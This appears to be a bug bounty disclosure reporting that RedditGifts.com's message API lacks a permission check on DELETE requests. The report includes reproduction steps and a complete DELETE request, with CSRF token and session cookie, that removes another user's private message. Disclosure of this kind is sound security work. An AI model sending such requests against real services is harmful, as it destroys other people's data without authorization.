Deleting all DMs on RedditGifts.com

How it was found

Summary:

It's possible to delete all 4.4M private messages on RedditGifts.com due to missing permission check on DELETE request

Steps To Reproduce:

1. Set up 3 accounts on RedditGifts.com (FriendA, FriendB, Attacker)
2. Have FriendA send message to FriendB
3. As Attacker send the following request (with cookies):

DELETE /api/v1/messages/4423007/ HTTP/1.1
Host: www.redditgifts.com
X-CSRFTOKEN: rYxQcijrs6viZxyLZt2os9gNvLgmEeXfSrH5wOe10GcOg3ABOvL3ebDbAXmeXojj
Referer: https://www.redditgifts.com/api/
Cookie: csrftoken=rYxQcijrs6viZxyLZt2os9gNvLgmEeXfSrH5wOe10GcOg3ABOvL3ebDbAXmeXojj; sessionid=osymp6sp6bb83gyt8of7qbeurtuo2450

Change cookies/csrf token and 4423007 to your own message ID

Supporting Material/References:

{F1320816} {F1320817}

Impact

It's possible to delete all 4.4M private messages on RedditGifts.com